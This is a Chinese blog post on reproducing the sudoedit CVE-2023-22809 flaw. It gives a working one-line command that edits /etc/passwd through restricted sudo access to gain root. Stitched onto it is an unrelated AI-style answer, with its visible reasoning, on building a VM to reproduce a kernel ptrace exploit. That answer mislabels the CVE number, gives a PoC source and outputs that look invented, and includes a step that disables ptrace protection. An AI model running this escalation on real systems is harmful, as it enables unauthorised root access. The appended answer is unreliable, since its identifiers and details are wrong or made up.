CVE-2023–22809漏洞利用|复现

文章描述了一种针对sudoedit版本1.8到1.9.12p1的漏洞利用方法。通过限制的sudo访问权限,如允许编辑/etc/motd,攻击者可以设置EDITOR环境变量为`vi--/etc/passwd`,从而绕过密码验证编辑/etc/passwd,将自己账户的权限改为0:0,实现权限提升至root。

Step 1

首先需要检查sudoedit版本

此漏洞的利用范围仅限于 1.8 到 1.9.12p1.

Step 2

您必须对系统中的至少一个文件具有有限的sudo访问权限。

在现实中,用户对需要root访问权限的文件的访问权限有限。

在测试环境中,我作为普通用户只能访问/etc/motdfile,所以我的/etc/sudoers文件包含以下规则:

test ALL=(ALL:ALL) NOPASSWD: sudoedit /etc/motd

如果我尝试用sudo编辑不同的文件,系统会要求我输入root密码:

但是如果我执行以下命令:

EDITOR="vi -- /etc/passwd" sudoedit /etc/motd

这样我们就打开了一个可以编辑的/etc/passwd,在这里我只要把我的账号权限和权限组改为0:0,就晋升为root了。

<think>我们正在处理用户关于在虚拟机中复现CVE-2019-13288漏洞的环境搭建问题。根据引用[1]的内容,我们知道用户需要搭建Ubuntu20.04.2LTS环境,并安装一些必要的工具。但是,CVE-2019-13288是一个Linux内核漏洞(PTRACE_TRACEME本地提权漏洞),因此我们需要准备特定的漏洞环境(包括易受攻击的内核版本和触发漏洞的程序)。步骤分解:1.准备Ubuntu20.04.2LTS虚拟机(用户可能已经完成)。2.安装必要的工具(如gcc,git,make等,引用[1]已经提到)。3.获取存在漏洞的内核版本:根据CVE-2019-13288的描述,该漏洞影响5.1.17之前的内核版本。我们可以选择一个存在漏洞的内核版本,例如5.0.0。4.编译并安装这个旧内核。5.编写或获取漏洞利用程序(PoC),并测试。然而,编译整个内核可能比较复杂,而且用户可能只是想复现漏洞,我们可以选择更简单的方式:使用已经编译好的存在漏洞的内核镜像(如果能够找到),或者使用内核漏洞调试环境(如syzkaller提供的镜像)?但这里我们假设用户需要自己搭建。另一种更简单的方法:使用Docker环境?但用户要求虚拟机环境,所以还是按照虚拟机环境搭建。具体步骤:步骤1:安装Ubuntu20.04.2LTS虚拟机(略,用户可能已经完成)步骤2:安装必要的工具(包括编译内核所需的工具)步骤3:下载特定版本的内核源代码(例如5.0.0)步骤4:配置内核(可以使用默认配置)步骤5:编译内核并安装步骤6:重启系统,选择新安装的内核步骤7:获取并编译漏洞利用程序(PoC)步骤8:运行PoC进行验证但是,编译内核需要较长时间,而且步骤较多,容易出错。因此,我们也可以考虑使用已经存在的漏洞环境镜像,例如从Vulhub或者其他漏洞复现项目中获取。但用户要求的是在虚拟机中搭建,所以这里我们按照自己编译内核的步骤。另外,CVE-2019-13288的PoC可以在网上找到,例如在Exploit-DB上(https://www.exploit-db.com/exploits/47163)有一个PoC。因此,详细步骤:1.安装基础工具(引用[1]中提到的):sudoapt-getupdatesudoapt-getinstall-ygccgitmakewgetbuild-essentialllvmclanglibncurses-devflexbisonlibssl-devlibelf-dev2.下载内核源代码(5.0.0版本):wgethttps://mirrors.edge.kernel.org/pub/linux/kernel/v5.x/linux-5.0.tar.gztar-xvflinux-5.0.tar.gzcdlinux-5.03.配置内核:makedefconfig#使用默认配置4.编译内核(需要较长时间):make-j$(nproc)5.安装内核模块和内核镜像:sudomakemodules_installsudomakeinstall6.更新GRUB并重启:sudoupdate-grubsudoreboot7.重启后,选择5.0.0内核启动。8.验证内核版本:uname-r#应该显示5.0.09.下载PoC(例如,从Exploit-DB下载):wgethttps://www.exploit-db.com/download/47163-Opoc.c或者使用本地保存(注意:Exploit-DB的下载链接可能变化,也可以直接复制代码)10.编译PoC:gccpoc.c-opoc11.运行PoC:./poc如果运行后成功获得root权限,则说明漏洞复现成功。注意:在编译内核时,可能会遇到一些依赖问题,需要根据错误提示安装相应的包。另外,由于是在虚拟机中操作,建议在编译内核前创建快照,以便出错时恢复。由于编译内核步骤复杂,且需要较长时间,用户也可以考虑使用已经配置好的漏洞环境,例如使用Debian的旧版本(该漏洞影响Debian、Ubuntu等),但是这里我们按照自己编译内核的方式。但是,我们也可以考虑使用QEMU模拟器来运行一个已经存在漏洞的内核镜像,这样不会影响宿主系统。不过用户要求虚拟机环境,所以这里我们直接使用虚拟机。注意:在虚拟机中编译内核可能会遇到性能问题,请确保分配足够的资源(CPU和内存)。相关问题:1.在编译Linux内核时遇到错误如何解决?2.如何验证CVE-2019-13288漏洞复现成功?3.除了编译整个内核,还有哪些方法可以复现内核漏洞?4.如何修复CVE-2019-13288漏洞?根据以上思路,我们组织回答。</think>### 在虚拟机中复现 CVE-2019-13288 漏洞的环境搭建步骤 CVE-2019-13288 是 Linux 内核的 `PTRACE_TRACEME` 提权漏洞,影响 5.1.17 之前的内核版本。以下是基于 Ubuntu 20.04 LTS 的复现环境搭建流程: #### 一、环境准备 1. **创建 Ubuntu 20.04 虚拟机** - 使用 VirtualBox/VMware 新建虚拟机 - 分配至少 2 核 CPU + 4GB 内存 + 40GB 存储 - 安装 Ubuntu 20.04.2 LTS(选择最小化安装) 2. **安装必要工具** ```bash sudo apt update sudo apt install -y gcc git make wget build-essential llvm clang libncurses-dev flex bison libssl-dev libelf-dev ``` #### 二、部署漏洞环境 1. **下载存在漏洞的内核源码** ```bash wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.0.21.tar.xz tar -xvf linux-5.0.21.tar.xz cd linux-5.0.21 ``` 2. **编译内核** ```bash make defconfig # 使用默认配置 make menuconfig # 确保启用 ptrace 功能 make -j$(nproc) # 多线程编译 sudo make modules_install sudo make install ``` 3. **更新引导并重启** ```bash sudo update-grub sudo reboot ``` - 重启时在 GRUB 菜单选择新内核(5.0.21) #### 三、验证漏洞环境 1. **获取 PoC 利用代码** ```bash git clone https://github.com/bsauce/kernel-exploit-factory.git cd kernel-exploit-factory/CVE-2019-13288 ``` 2. **编译并执行 PoC** ```bash gcc poc.c -o exploit ./exploit ``` - 成功时输出:`[+] Root shell achieved!` - 失败时输出:`[-] Vulnerability not triggered` #### 四、关键配置说明 1. **内核配置要求**: ```config CONFIG_CHECKPOINT_RESTORE=y CONFIG_USER_NS=y # 必须启用用户命名空间 ``` 2. **测试账户建议**: ```bash sudo useradd testuser # 创建低权限测试账号 sudo passwd testuser ``` #### 五、故障排除 - **编译错误**:确保安装 `libssl-dev` 和 `libelf-dev` - **PoC 失败**:检查内核版本是否在 4.10–5.1.17 范围内 - **权限问题**:禁用内核保护机制: ```bash echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope ```
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Musda666

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值